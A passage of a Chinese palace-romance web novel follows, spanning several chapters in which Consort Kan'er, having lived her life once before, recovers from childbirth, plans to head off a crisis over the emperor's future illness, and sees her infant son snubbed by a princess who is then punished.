便见得她躺在葱青四季团花锦被之中,泪光莹莹娇喘微微,枕侧青丝堆积如瀑。
双颊如醉酒般酡红,又似盛放的牡丹。
一身的皓雪凝脂,而他刚刚竟……
骆峋闭上眼。
然口中那股甘甜却是如何也忽视不了。
他无视滚烫的耳根,翻身将身边之人抱住,哑声道:“不是那什么了,怎么会有?”
槛儿的脸几乎着了火,背靠着他缩了缩脖子,声若蚊呐:“我也不知道……”
“你不知?”
槛儿抓起被子捂脸。
“有照着太医的方子吃,但、体质好像有些特殊,说吃多了那些东西也不好,就不喂,顺其自然地回。”
“体质特殊。”
骆峋低喃,喉结无意识滚了两下。
稍顷。
他将手探入被中。
“不喂,难受了如何是好?”
槛儿真没想到,有朝一日会从冷肃刻板的太子口中听到这样的问题。
上辈子他们也这样过。
但那时他在榻上从来都是只做不言,往往一场事下来除了他的呼吸加沉了便再听不到他开口说点别的。
如今竟是连这种话都问出来了。
槛儿不免便觉得臊。
但还是实诚道:“那什么出来,倒了。”
刚生产前几天的对孩子好,拿哺瓶喂了曜哥儿,之后就全权交由奶娘了。
帐中一阵莫名的安静。
槛儿担心太子又问出什么让人难以启齿的话,脚在他小腿上轻踢了两下。
刚要说收拾的话,她忽地想起一件事。
扭头看向太子。
颇有些后知后觉道:“一会儿让换被子不就等于告诉他们,我们做了什么?”
两个月月子没满呢。
周嬷嬷她们自是不敢说什么,可总归影响不大好的,槛儿在这事上又素来就对外人不甚放得开说。
“无碍。”
骆峋对上她瞪大的眼,一派的沉稳如山。
槛儿翻过身,一副请其解惑的模样。
“先收拾。”
骆峋低头亲她一口,搂着人坐起来道,槛儿就狐疑地跟他进浴间擦拭。
不多时两人又一道出来。
太子爷兀自来到拔步床前,端起床头柜几上放着的茶坐在床沿喝了起来。
槛儿:“……”
下一刻。
茶盏果然“不小心”倾斜了一下。
几滴茶水飞溅出来。
其实换被子不是什么事儿,床里侧就放着好几床,主要是换沾了汗的寝单。
也不是真就有多湿,就是皇家的人纯讲究。
喜雨跟银竹进来不消半刻钟便新铺了一层寝单,顺手将那床被子带出去。
重新躺回被窝。
槛儿神色怪怪地盯着太子。
骆峋:“安心,不会有人传出去。”
槛儿笑着摇头:“我不是在想这个,我是在想殿下原来还有这么一面呢。”
骆峋便知她在调侃他,不禁遮住她的脸。
“安置吧。”
槛儿拿下他的手。
假作撒娇道:“可是妾身想跟您说说话。”
骆峋:“说什么?”
“那不是您的生辰也快到了嘛,您给我送了那么贵重的生辰礼,我不知道要给您回什么礼才好了。”
太子的生辰在三月二十。
不过相较于皇帝的万寿节,皇后的千秋节,太子的生辰是不能大办的。
会涉及到僭越的问题。
也有父母在不过寿这层意思。
尤其太子的生辰一过,过半月就是裴皇后的生辰,如此太子便更不能大办了。
到时候只会在东宫以家宴的名义,请宣王他们这些皇子公主来吃一顿席。
说起来,上辈子槛儿和庆昭帝的千秋节、万寿节便只隔了一个月不到。
所幸庆昭帝奉行节俭,两场宴隔得时间不长礼部和鸿胪寺准备起来倒也省心。
“不必费心,按规矩即可。”
骆峋对自己的生辰没多上心,无所谓道。
槛儿不知想到了什么,笑得颇有些神秘莫测:“那我就看着准备了啊。”
“嗯。”
.
三月十六。
槛儿出月子了,莫院判来替她把了脉,确定宋良娣的身子恢复得相当好。
等莫院判走后,随行的袁宝向槛儿转述了一个消息,那便是莫院判家中年近八十的母亲两月前离世。
莫院判要回老家丁忧。
本朝注重孝道,尤为注重母丧,所以莫院判满打满算要为母服丧三年。
之后槛儿和曜哥儿的日常请平安脉和看诊,便由另一个副院判接替。
太子的身体一直是莫院判在照看,莫院判此去太子便赐下了一笔不小的奠仪。
像是银钱、素绫缎、祭米祭酒什么的,另派了人把东西随着莫院判送过去。
槛儿从诊出喜脉到生产,母子俩也是莫院判在看顾,她便和太子商量之后也给莫院判赐了几样奠仪。
等小福子把东西送去了元淳宫,槛儿**片刻让人把瑛姑姑叫来了卧房。
瑛姑姑因着之前孔喜德那事被象征性罚到外院伺候,槛儿后来让她去管后罩房了,不过这只是明面上的。
槛儿有事多数时候还是会找瑛姑姑。
“姑姑,你
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平时会头晕目眩吗?”等瑛姑姑来了,槛儿让她坐,跟着问道。
瑛姑姑不明所以。
但还是认真想了一下道:“蹲久了会头晕,眼睛发花,早上起猛了也会。”
槛儿一愣。
随即一把握住瑛姑姑的手,着急道:“这事我都不知道,姑姑你怎么不早说呢?你这样多久了?严重吗?”
她原是想请瑛姑姑装一场病的,打算两人商量个什么章程出来,结果没想到瑛姑姑竟真有这么个病!
槛儿一下子就想到了上辈子的几年后,瑛姑姑被一场严重风寒夺去性命的事。
“真的是,跟你一起这么久我都不知道你有眩晕的毛病,不行,得赶紧治。”
瑛姑姑只当槛儿是纯粹关心她的身子才这般着急的,忙笑着将人按住。
“主子别急,奴婢这不是什么大毛病,之前去安乐堂请医婆看过,就是气血不足导致的,真不算事儿。”
槛儿:“不能这么想,很多大毛病就是小毛病日积月累的,姑姑你快跟我说清楚,能尽早治就尽早治。”
瑛姑姑心里熨帖,于是也没瞒着。
在她看来真算不上什么事儿,就是大概二十多的时候吧,气血不足外加活计繁重,就落了这么个毛病。
蹲久了起来头晕眼花,早上起床也得先缓缓再起,挨不了一点儿饿。
槛儿听完,一口气半松不松的。
沉思了小会儿。
她道:“姑姑,今晚我会请示殿下,让殿下同意你去太医院找医官看诊。
咱们尽早把这病给治好,不过治病的同时可能还需得姑姑帮我办一件事。”
“您说。”
槛儿凑到她耳边:“你让医官替你调理调理身子,期间你去拿药时留意留意一位带岭南口音的秦守淳医吏。
“你找个合适的机会就以你的眩晕**病为由,装作不经意地同他认识。
差不多四月中旬左右,不论你的眩晕有没有好,你都要找个理由让这位秦医吏替你把把脉,让他给你治。”
“换句话说就是,咱们要装病……”
最后半句,槛儿的声音压得几乎听不见。
后宫的宫女一年到头有个什么头疼脑热的,一般由安乐堂的医婆药婆治。
高阶或是更高阶的姑姑嬷嬷,则能在得到特许后去太医院寻医官治。
医官主要便是给高阶宫人和低阶小贵人看诊,医吏则负责抓药煎药等活。
当然,治病原就存在一种“听哪个大夫的药,不听哪个大夫的药”这种说法。
即便一时半会儿没能“治好”瑛姑姑的病,也不会连累到给她看诊的医官。
瑛姑姑听得一头雾水。
“可以是可以,但主子您这是要干啥?而且您什么时候认识这号人物了?”
第180章 要替太子避祸!御花园里遇新人
槛儿其实也不认识这位秦医吏。
她只是听过这个人。
虽然时间隔得很久了,但因着那件事当初闹得比较严重,所以槛儿一直记着。
上辈子今年的五月。
元隆帝突发脑耳眩。
此病是本朝皇室首例高难度疑难杂症,病名也是元隆帝的这场病之后才有记载的。
起因是元隆帝五月初的某天早朝上,和朝臣议着议着事忽从龙椅上栽倒。
当场无法站立,呕吐不止。
众人惊骇万分。
具体发病细节槛儿不甚清楚,因为皇帝的御脉案属内廷机密的重中之重。
即便上辈子后来她成了皇后,在没经特许的前提下也不能随便翻看。
槛儿只知晓起初负责给元隆帝看诊的柳院判和其他御医,诊断其为肝风内动、痰湿上扰引起的眩晕症。
眩晕症可大可小。
往小了说可以是风邪入体、长期久坐久蹲,亦或是劳累过度,空腹虚乏所致。
这种通常只要暂时调整饮食,喝上几服汤药,平时再多注意保养即可。
但往大了说。
眩晕症往往可能是中风的前兆。
自是没有人敢一上来就说皇帝要中风了,真这么说了怕是脑袋就没了。
加之元隆帝之前没发过这病,所以刚开始御医就将其当做寻常眩晕症治。
然而汤药喝了大半个月,针也一直有扎。
御膳房更是变着法子照御医的方子给元隆帝做膳食,可惜元隆帝的病非但没有好转,反而愈发得严重了。
重到什么程度呢。
重到他睡觉翻身,日常仰头低头都会晕,有时批阅着奏章忽然就倒在御案上了。
这种情况一直持续到六月,前朝后廷人心惶惶,朝中局势也有了动荡的趋势。
槛儿当时刚晋奉仪不久,这些消息是小福子到外面溜达回来告诉她的。
御医们为元隆帝的病如何提心吊胆不得而知,但元隆帝的脾气一日比一日暴躁却是前朝后宫人尽皆知的事。
而太子当时本就颇受元隆帝猜忌,那两个月里俨然身处水深火热之中,几乎天天都要被叫去挨一通骂。
如此,踏足后院的次数本就少的太子那段日子更是一次都没来过后院。
而太子的境况一艰难,东宫就艰难,东宫一难后宅女眷又哪能幸免得了。
不夸张地说,喷嚏到了嘴边都得憋回去。
直到六月中旬。
在老家丁忧的莫院判被夺情召回。
也不知莫院判期间做了什么,总归最后是他和太医院一个不入流的医吏一起,把元隆帝给治好了。
此医吏便叫秦守淳,岭南思明府人士。
据说治疗之法最开始是秦医吏提出来的,之后元隆帝的养护也是他在负责。
然而元隆帝的病是治好了。
莫院判的老父亲却在此期间因突发疾病未能及时救治,不幸离世了。
莫院判没能见着母亲最后一面。
也没能送父亲最后一程。
之后莫院判便病倒了,没多久也病故。
虽说于朝廷命官而言,国事大于家事。
但丁忧期间特召有违孝道不提,关键期间莫院判的父亲因救治不及去世了。
从人伦道义上讲就说不过去。
所谓“不杀伯仁,伯仁因我而死”,尽管元隆帝超格追赠了莫院判与其父。
也补偿了莫家。
但元隆帝还是被弹“以私害公,以权乱礼”,在史书上也被记了一笔。
这种情况,代元隆帝下旨的太子当然撇不开关系,太子被弹未尽劝谏之责。
同时东宫詹事府失察圣德,太子三师三少也落得个教辅无方之责。
虽然太子有补救,但这件事后来还是成了睿王害太子被幽禁的另一个把柄。
尽管睿王现今已成了庶人被幽禁在十王府,元隆帝貌似对太子的态度也变了。
但到底是一桩人伦惨剧。
槛儿不想莫院判抱憾而终。
不想元隆帝迁怒东宫,也不想太子受难,累及她和后院一众人也要战战兢兢一场。
再者,若是能办成这件事于太子而言也是助力。
转瞬之间心思百转。
槛儿咳了咳。
故作神秘对瑛姑姑道:“到时候就知道了,但姑姑你千万别让人看出你是装的。”
“不然我们……”
她拿手往脖子上一划!
瑛姑姑吓一跳,可想到槛儿历来不是无的放矢之人,她这么做必然有理由。
于是瑛姑姑郑重应下。
担心主仆二人密谋太久,容易让人起疑,槛儿便暂时没再多说别的。
下午歇过晌。
槛儿准备带曜哥儿去一趟坤和宫。
不是她擅自做主的,而是太子看槛儿坐了这么久的月子,觉得她可能闷着了。
所以前天晚上就同她说。
让她出了月子带曜哥儿去坤和宫看看娘娘,陪娘娘逛逛御花园什么的。
其实就是在给机会抬举槛儿。
要知道槛儿虽说晋了侧妃,但到底顶着个“侧”的头衔不是?按常理是没什么机会陪裴皇后逛园子的。
若是有太子妃带着倒还好,没有太子妃,一个侧妃去亲近皇后便说不过去。
然如今都知道太子妃因家奴的事在禁足,而宋良娣诞的又是太子长子。
如此,太子允她带着孩子到裴皇后跟前替他尽孝,倒也挑不出什么错儿。
两个月的曜哥儿穿着身石榴红绣锦鲤的缎面连体夹衣,戴着一顶同色的棉布绣麒麟帽,被奶娘抱出来。
最近天儿暖了不少,小家伙穿的也薄。
一眼望去就能看到双下巴,露在外面的手腕戴着一对雪花银刻缠枝蔓草蒜头镯,一双腕子那叫一个肉嘟嘟。
他现在脖子硬了不少,奶娘将他半竖着抱着时,他的头已经能转来转去。
槛儿先上了轿,让奶娘把曜哥儿给她。
小家伙一到娘怀里就仰着小脑袋盯人,盯着盯着也不知在乐个什么劲。
笑得直拿小手捂嘴。
为防中途曜哥儿弄脏衣裳,他的小轿子里还带了两套衣裳并若干尿布,什么哺瓶、玩具啊,杂七杂八一堆。
一串人呼啦啦地出了门。
坤和宫。
裴皇后刚看完月初御马监呈递上来的山东河南两地几处皇庄的账册。
听人来报说宋良娣和小皇孙来了,她当即笑了,叫碧荧碧烟去迎人。
进了屋,
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槛儿恭恭敬敬向裴皇后行礼,曜哥儿也由奶娘抱着给皇祖母行了礼。
裴皇后先给槛儿赐了座,旋即拍拍手道:“让皇祖母看看曜哥儿长胖了没。”
奶娘将小皇孙抱过去,随即退到一旁,目不转睛地注意着小皇孙的动向。
以防止小皇孙做出什么不合时宜的举动,奶娘也好第一时间请罪救场。
“沉了不少啊,近期可有称重?”裴皇后掂了掂孙子,笑着问槛儿。
槛儿柔声道:“回娘娘的话,今早太医院刚来人称过,有十三斤并三两。”
裴皇后闻言笑弯了眼。
逗孙子道:“比刚出生长了七斤二两呢,难怪瞧着小脸蛋儿这么胖嘟嘟的。”
曜哥儿可没忘前世皇祖母对他的好,也没忘皇祖母早早就去世了,他哭灵的时候就只能看到皇祖母的棺木。
满月那天他困得没顾得上和皇祖母聊,于是这会儿小家伙就像跟他娘聊天一样,盯着裴皇后直叫唤。
“主子您瞧,小皇孙在跟您说话呢,”冯嬷嬷笑得合不拢嘴,在一旁说讨巧话。
碧荧碧烟跟着说好听话逗趣,曜哥儿也配合,裴皇后乐得笑就没下来过。
祖孙俩亲香得差不多了。
裴皇后温和地对槛儿道:“早先你坐月子,我也没法召你过来说话。
倒是使人去问过,却到底不比面对面来得仔细,听说你刚开始有自己喂养?”
槛儿微微红着脸。
“是,太医说刚生产完的对孩子好,妾身便经得殿下同意,喂了几回,也就那几日,之后便让太医开了方子。”
说着,她羞涩般垂了垂头。
裴皇后就见小良娣虽显小女儿家的娇羞之态,言词语调间却尤为大方。
没有因听她提起这事,便觉得她会斥责她违了规矩,进而惊慌失措什么的。
话也说得周全实诚。
倒确实是个顶得住事的。
裴皇后不显地颔颔首:“确实有这个说法,你把孩子养得很好,辛苦了。”
槛儿连道不辛苦,说是她的本分。
就这么聊了会儿。
约莫过了两刻钟,裴皇后提出趁天气好,带槛儿和小孙子去御花园逛逛。
于是又是一行人浩浩荡荡地出门。
正是春意正浓的时候。
御花园里姹紫嫣红,牡丹花王姚黄在日光下层层堆叠的花瓣仿若绮丽云霞,婉约华贵的魏紫与其竞相绽放。
花架之上紫藤如瀑,蔷薇攀上琉璃瓦摇头晃脑,另有亭台楼榭假山流水。
恍若人间仙境。
逛了会儿,裴皇后寻了一处亭子赏景。
小宫女在亭子外踢毽子逗曜哥儿,看不清的曜哥儿凭感觉哦哦啊啊地配合。
槛儿看着他笑,裴皇后也笑看着他。
气氛正是祥和,一小太监跑来报。
说是韶安郡主、韶宁郡主携高首辅的孙女高小姐,来向娘娘请安了。
裴皇后让请过来。
不多时,三位娉婷少女款款而来。
槛儿起身。
不经意对上那位高小姐的眼睛,也不知是她看错了还是别的原因所致。
槛儿看到对方在看见她时错愕了一瞬,之后眼底闪过一丝淡漠的不喜。
第181章 曜哥儿委屈哭了,韶宁郡主被罚
韶安韶宁两位郡主先向裴皇后请了安,之后高小姐上前行了大礼。
槛儿现今不必像之前那样对亲王郡主行多大的礼,只象征性福福身便可。
韶宁郡主的视线状似不经意地在槛儿脸上打了个转,而后滑至其身上。
再一想起年前她哥为了这么个人凶她,硬是让她大冬天的走回了王府。
韶宁郡主眼中的忿忿便几欲化作实质。
不过她侧对着裴皇后站着,槛儿又刚好在受高小姐的礼,倒没人发现她的失态。
“这么好的天气,难得先生有事临时给你们放了假,你们这些小姑娘不出去游山玩水,跑来看本宫作甚?”
给三个姑娘赐了座,裴皇后打趣道。
韶宁郡主撒娇道:“那不是想皇祖母了嘛,游山玩水哪有皇祖母重要呀。”
裴皇后看破不说破地笑笑。
转而照例问了几个日常的问题,之后便询问起高小姐她家祖母如何。
这位高小姐是内阁首辅高敬璋的孙女,其父为户部云南司郎中高墉。
高家乃是历经四朝的诗礼传家,代代有进士及第,在本朝一众的清贵之家中可谓中流砥柱之存在。
高敬璋曾任国子监祭酒数十载,门生遍及各地,高墉则为元隆五年的探花。
这般出身,高小姐高若漪八岁起便才名远播,至今早有“京城第一才女”之称。
面对裴皇后的问话,她答得进退有度,其声温柔似水不免让人心生好感。
槛儿坐在一旁微微含笑听着,韶安郡主差不多也是如此,很是娴静。
韶宁郡主看看高若漪,再看看槛儿,暗撇了下嘴后目光落在曜哥儿身上。
真胖啊。
瞧那脸上的肉。
不知道掐一把会不会哭。
韶宁郡主转了转眼睛。
趁裴皇后和高若漪说完话的空档,她笑着朝被裴皇后抱着的曜哥儿走去。
“小堂弟满月的时候没机会见,今天可算是见到了,脸蛋圆溜溜的好可爱!”
说着话,她人也到了跟前。
伸手去捏曜哥儿的脸。
一旁的奶娘心一提,槛儿也屏了屏呼吸。
曜哥儿看不清她的脸,但他的脑海里有一刹那闪过此人用力捏他脸的画面。
于是说时迟那时快。
裴皇后刚要拦韶宁,就听怀中的小孙子发出一道“啊噗”的声音。
低头一看。
却是小孙子冷不丁往韶宁手上喷了一滩口水,看样子正要喷第二口。
韶宁郡主动作一僵,跟着叫了出来:“啊!口水喷我手上了!脏死啦!”
裴皇后原是要叫人来给她净手,听其这么一叫,她的嘴角敛了起来。
槛儿的眸色也沉了沉。
韶安郡主见势不对,暗恼一声尴尬地上前拉住妹妹,原是想赔罪的。
哪知不待她开口,刚刚还乖乖的小皇孙突然哭了起来,哭得那叫一个伤心。
眼泪流了满脸。
他也不是那种扯着嗓子嚎。
就是呜呜哼哼地抓着裴皇后的衣襟,一副受尽委屈的小可怜样儿。
槛儿快步走过来,奶娘也过来等着从裴皇后手里接过小皇孙。
裴皇后被孙子哭得心成了一滩水,自是想哄的,但总不好落了亲娘的面子。
于是她哄了两句便将孙子往槛儿跟前递,小奶娃看到娘就伸出了手。
小脸儿上满是泪痕。
槛儿还是第一次看到儿子哭成这般。
早先一次他哭出眼泪,好歹嗓门儿大,瞧着莫名有种叫人哭笑不得的喜感。
这回真就只有心疼了。
这种情况高若漪哪好再坐着,神色担忧地站起来看看韶宁郡主,目光又落到正哄孩子的槛儿身上。
韶安郡主看着眼前的情形后背冒起一层冷汗,忙不迭替妹妹赔罪。
“皇祖母息怒,琬姐儿没别的意思,她就是一时受了惊口不择言,还请皇祖母恕罪,请宋良娣不要见怪。”
槛儿翕了翕唇,到底把话咽下去了,只像似微红了眼朝裴皇后看了看。
韶宁郡主也意识到自己反应过激且说错话了,当即白着脸跪下道:
“皇祖母恕罪!孙女不是有意的,孙女只是此前没接触过小堂弟这般的婴孩……”
裴皇后的脸色很不好看。
她知道不是人人都喜欢孩子,也不会强求谁就一定要喜欢她的孙子。
唾液这玩意儿也的确不净,可俗话说庄稼是别人的好,孩子是自己的好。
她的孙子她自是疼。
且曜哥儿虽说是庶长子,但眼下太子妃无子,在宗法制度里曜哥儿就算是她的承重孙,是中宫嫡孙。
规矩上韶宁郡主就不能对曜哥儿不敬。
“没接触过那就不要接触。”
裴皇后面无表情道。
她素来不装什么宽厚主母,慈祥祖母那一套,一向该怎样便怎样。
合心意了给好脸,若不然便懒得给脸。
“曜哥儿没被你贸然伸手惊到,倒是你先让两个月的小娃儿给惊到了,皇家的公主如何能这般娇气?”
本朝开国之初尚武,战场上不乏像裴皇后这样的女将,皇家公主虽不至于都善武。
但寻常自保是没问题的。
也是后来源于各种复杂的原因,致使文官集团壮大,武备趋于松弛。
以至于截止高祖继位前,大靖被外敌不断侵犯,甚至险些被人打入京城。
高祖临危继位力挽狂澜,反败为胜,之后文臣武将才又形成了新的平衡。
皇家女子也重开了武课。
可惜到这会儿没几个公主郡主愿意习武了,多数都只是做样子敷衍。
韶宁郡主便是如此。
所以一听裴皇后如此不留情面地训诫她,她的脸一阵红一阵白的。
韶安郡主也面露窘色。
裴皇后:“净了手就回去,即日起每天扎上三刻钟马步,拳脚功夫也要好好练,稍后会有人去监督。”
韶宁郡主苦了脸,又想不能冲皇祖母摆脸色,于是不得不恭敬应下。
等出了宫马车驶离宫道。
韶宁郡主终于没忍住哭了。
“我怎么这么倒霉啊……**跟那女人沾边
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的事儿**没落过好。
去年端午被母妃罚,冬月被我哥罚,今天又被皇祖母罚,我太倒霉了。
凭什么都向着那女人啊,呜呜……”
韶安郡主一个头两个大。
“你快闭嘴吧,什么那女人这女人的,早跟你说了那是太子皇叔的女眷。
现在人家是皇祖父封的太子良娣,便是品级没有我们高,我们也要敬着,你作甚要较这种劲呢?”
韶宁郡主抹泪。
“怎么是我较劲,我就没惹她啊,我话都没跟她说,结果都罚我……”
韶安郡主:“那也是你这张嘴惹的祸。”
“可我说的都是实话啊,她本来就生得不正经,小娃儿的口水本来就脏……”
韶安郡主:“你再说!”
韶宁郡主差点被口水呛到,转身往软垫上一趴,哭得上气不接下气。
“要练武呜呜……”
韶安郡主摇头叹气,而后窘然地对临窗坐的高若漪道:“让你见笑了。”
高若漪温婉一笑。
“我们自小相识,何至于如此生分,韶宁郡主受了屈发泄一二原在情理之中。”
韶宁觉得终于有人站她这边了,没等她姐说话,她便扑过去抱住高若漪。
“就知道你最通情达理,其他人都欺负我,为了个无所谓的人欺负我!”
韶安郡主作势要打她嘴。
高若漪则想到了那位宋良娣。
认真说来,去年端午对方首次于人前露面时她其实并未将其放在眼里。
她出身大家,深谙男子一妻多妾之道,何况太子将来要坐上那个位置。
是时三宫六院,七十二嫔妃,她若逢人便拈酸吃味儿,未免过于自降身份。
因而高若漪惊讶于东宫新添了人归惊讶,心中却是并没将人放眼里。
只她没想到,那位昭训之后会如此得宠,委实有悖于她对太子的了解。
不过男人嘛。
总会有一两个较为宠爱的妾。
高若漪对此倒也不甚介意。
直到不久前在御花园近距离见到那位宋良娣,看到她怀中肖似太子的孩子。
尤其是看到后者。
高若漪承认,她心里不太舒服。
也不为别的。
就是她幼年自打对美丑有了辨别,便将俊美无俦的太子放在心上了。
幼时的喜欢自是不掺杂情爱的,但随着年岁的增长这份敬慕就变了质。
可惜太子长了她七岁。
她十二岁时,陛下就给太子和郑家女赐婚了。
如今她好不容易及笄。
碍于祖父是首辅不能参加选秀,可若祖父有意让她入东宫,陛下还能不同意?
他们家比郑家有实力多了,太子有了她祖父作助力不是如虎添翼?
届时正妃之位,于她而言还不是手到擒来?
高若漪可志不在妾。
以她的出身太子妃正好合适,她想为家里出份力,也想得偿所愿。
就是不知太子待那孩子如何,对那位宋氏的宠又会持续到什么时候。
她实在不愿与人勾心斗角。
第182章 一见钟情(?)太子:别想动摇孤的道心。
傍晚。
骆峋从海顺口中听说了儿子遭嫌委屈到哭,于是洗漱完带上公务就过来了。
来了发现小东西在槛儿怀里扶着哺瓶的把手,用膳用得正香的同时不忘偏着脑袋看小宫女摇**响环。
日子委实惬意。
听爹爹来了,曜哥儿拨开小哺瓶就乌拉哇啦地叫起来,没像平时那样傻笑。
倒颇有几分告状的意味。
槛儿被儿子严肃的小表情逗得直乐,骆峋习惯性从她手中接过小家伙。
进了屋,重新把哺瓶塞进儿子口中。
骆峋问起下午的事。
槛儿没瞒着,也没添油加醋。
当然,槛儿可不知儿子喷的那口唾沫是故意冲韶宁郡主去的,以为纯粹凑巧。
所以她跟太子也就实话实说。
道是韶宁郡主想摸曜哥儿的脸,曜哥儿刚好喷了口水到她手上了。
诚然,儿子当众遭嫌槛儿心里还是很没好气的,这种不悦无关乎韶宁不喜曜哥儿。
对方有不喜的权利。
但公然嫌曜哥儿脏就**道了,谁知道在场的宫人会不会私下里说嘴?
说太子家的儿子喷口水被堂姐毫不留情地嫌脏,若是传到其他皇孙耳中。
日后孩子长大了,若有人拿此事嘲笑,曜哥儿在众皇孙中如何自处?
而对于韶宁郡主此人。
因着槛儿上辈子成为良娣之前没参加过宫宴,晋封良娣后虽说参加了。
可那时没发生什么事让她与韶宁郡主产生联系,后面太子登基,包括韶宁在内的信王一家子被流放了。
所以槛儿对其并不了解。
但从她那般动辄大惊小怪的行事作风来看,很难说是会喜欢孩子的人。
想摸曜哥儿,估计就是为做戏给裴皇后看。
也是有裴皇后在场,若不然槛儿当时高低要跟韶宁郡主理论一二。
这一切槛儿没表现出来,但骆峋跟她想到了一处,且他还想的更多。
那便是他熟知韶宁的脾性,那便不是会喜欢婴孩的,打算触碰曜哥儿。
定是有别的缘由。
骆峋想到去年端午有人来报说,韶宁郡主被信王妃罚似是与宋昭训有干系。
只具体怎么个干系,门外的人不曾听清。
之后年前冬月底,他携槛儿去坤和宫请安,韶宁那日出宫又被骆晔罚了。
骆峋微微抿唇。
膳后消完食去书房处理公务,他对海顺吩咐道:“叫人去信王府传话。”
“韶宁郡主言行有失,轻慢东宫,明日起每日午时至戌时于信王妃居处侍弄花草、抄书修心,为期三月。”
裴皇后对韶宁郡主做了罚处,那是祖母对孙儿的爱护和对孙女的教导之心。
槛儿要顾忌裴皇后和韶宁郡主的身份不好做什么,但太子作为储君却是有维护皇室威严,管教宗亲之责。
侄女当众对儿子恶言,太子降下处罚符合人伦情理,也合礼合制。
这种侍奉尊长的惩处也让人挑不出错。
于是,等韶宁郡主苦兮兮地扎完马步,僵着两条腿由婢女扶着回院子时。
就被赶来的信王妃身边的人告知她接下来三个月要去信王妃那边抄书、侍弄花草,说是太子的令。
东宫的人会来府上监督。
韶宁郡主两眼一黑,只觉天要塌了!
她实在咽不下这口气,不顾两条腿的酸痛跑到信王妃的瑞安堂哭诉。
可惜信王妃最是注重规矩礼节。
尤其眼看信王只差三个月禁足就满了,女儿却在这时触怒裴皇后和东宫。
不是明摆着没事找事?
信王妃气结。
非但没被韶宁郡主哭心软,反倒又加了处罚,削减了韶宁郡主的月例。
韶宁的天真塌了,哭着去找韶安郡主,中途碰上了回府的世子骆晔。
骆晔从王府管事口中一听完事情的始末,就猜到不喜婴孩的妹妹为何想要去触碰六皇叔的儿子了。
他气不打一处来。
韶宁郡主见势不对扭头就跑。
兄妹俩你追我赶跑到韶安郡主的院子,最后还是韶安将兄长劝走了。
“小堂弟如何?”
从韶安的院子出来,骆晔想了想道。
韶安郡主:“长得可好了,胖嘟嘟圆滚滚的,就跟年画里的小童似的。”
如果不是信王府和东宫的立场不便,又出了琬姐儿的事,她都想抱了。
骆晔沉吟,“像谁?”
“满月的时候你在皇祖父那边没看到吗?”韶安郡主眨眨眼问。
“没,离得远。”
韶安郡主“哦哦”两声。
“我觉得眼睛鼻子和六皇叔尤为相似,嘴巴小小的,瞧着特别可爱。”
骆晔抿抿唇,没再说话。
回了自己院子,母亲安排的通房丫鬟迎上来,骆晔顿了顿将人屏退了。
他有两个通房,是母亲从宫里带回来的,说是祖母德妃精心挑的。
本朝男子十五束发,有条件的家里基本都会在这时候安排通房丫鬟。
骆晔早知这事,故而对此不甚在意,他也在十五那年和通房初行了人事。
但也仅此而已。
同龄的公侯子弟其中不乏有爱慕之人,每每谈及心上人便面红耳赤,讷口少言。
也有的已经定亲。
可骆晔不懂。
不懂那种感觉。
他听人谈及过一见钟情,也看过相关话本,可他对此从来嗤之以鼻。
说得好听,一见钟情。
实则左不过见色起意。
轻浮之辈之行径,骆晔为其不齿,也自认这种事绝不会和自己沾边。
进了书房,骆晔躺在榻上拿书盖着脸。
皇家最不缺美人,不论男女。
若说一见钟情是见色起意。
可他分明自小见过的俊男
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佳丽无数,要见色起意该是早就起过了才对。
何至于仅瞥见对方一抹侧影。
仅面对面见过一回。
她是六皇叔的妾,已为老牛吃嫩草的六皇叔诞下一子,他不该如此的。
骆晔长长叹出一口气。
.
六皇叔打了个小喷嚏,槛儿上了榻趴在他身上道:“别是受了凉。”
骆峋拭拭手。
将湿巾子扔到床尾的小凳上,进来清理浴间的宫人顺手收拾走了。
“没。”
骆峋把被子往上拉了拉,揽着她的肩头,另一手重新持起书卷。
按说槛儿坐了两个月的月子,且由太医和女医检查过身子恢复得极好,今晚这样的日子该是能侍寝的。
骆峋进卧房前也起过此念。
可念头刚起,便被他又按下去了。
日子刚满夜里就让侍寝,不知道的人当他多急色,就等着这一天呢。
不妥。
且多养些时日总是好的。
这么想着,太子爷方才上了榻便看起了书,一副他心思纯正的端庄之态。
谁也别想动摇他的道心。
槛儿:“……”
好吧。
是她想多了。
原以为前几回太子憋得不轻,今晚会让她侍寝,她还想了推脱的理由呢。
没想到太子没这意思。
倒省了她扯谎。
时候还早,太子这般专注于看书槛儿不忍扰他,便也叫寒酥拿了本书过来。
两人就这么挨一起互不打扰地看着书,海顺的眼角没忍住抽了好几下。
主子们行事他倒管不着。
但要知道从宋良娣诊出喜脉到现在,他们家爷可就一直处于素着的状态。
好不容易时机成熟了,他俩在床上纯看书?
看不懂。
海顺索性请示太子,确定没啥事吩咐了,便先行告退去东厢的耳房了。
半个多时辰后。
骆峋躺下,低声问:“可愿同孙嬷嬷一道操持三日后女眷这边的宴?”
三日后太子的生辰,男客的宴设在仁安殿,女眷这边按规矩该设在嘉荣堂。
但郑明芷如今不便露面。
嘉荣堂自然也不能用,女眷这边的宴便设在嘉荣堂东侧的贞禧堂。
槛儿现今能代太子妃操持宴席,之前她月子没坐完,骆峋不想她费神。
便没提这事。
“妾身能说不想吗?”
槛儿想了一下,试探着问。
不是她胸无大志,给权都不知道要。
而是刚出月子就代正妃行权,面上不好看,于她于太子而言都是。
骆峋看看她,了然于心。
“那便作罢,过些时日再说。”
刚说完,喜雨略显焦急的声音从门口传来:“主子,瑛姑姑不知怎么突然晕了!”
槛儿一惊,旋即“腾”地坐起来。
“殿下您先睡,我去看看!”
第183章 太子:槛儿在作甚?「槛儿大美人!」
骆峋知晓她与她那姑姑情分不同,倒也没觉得槛儿此举有何不妥。
反而吩咐外间的袁宝跟过去。
约莫一刻钟。
槛儿回来了,眼圈红红的。
“殿下,姑姑她眩晕的**病犯了,这回好像比之前每次都来得严重。
我想让人送她去太医院找医官看看,可以吗?”
骆峋看眼袁宝。
后者表情凝重地点点头。
“去安排。”
骆峋吩咐道,之后示意槛儿过去,牵着她的手将人重新带上榻。
槛儿吸吸鼻子。
“姑姑老早就有这毛病了,我以前都不知道,听说眩晕症可大可小,万一姑姑……”
没有万一!
姑姑一定没事!
“不会,先找人看,”骆峋安抚般拍拍她的背。
三刻多钟后,瑛姑姑一行人回来了。
袁宝派去的人说医官开了方子,这种病要慢慢调养,之后再看什么情况。
槛儿放了心。
她自是不希望姑姑真有什么不好,能借此机会把姑姑的眩晕症治好。
当然再好不过。
.
三月二十,太子生辰。
贞禧堂的宴由孙嬷嬷操持筹备,正式开宴仍由一位宗亲老王妃主持待客。
槛儿则适当地从旁打打下手什么的。
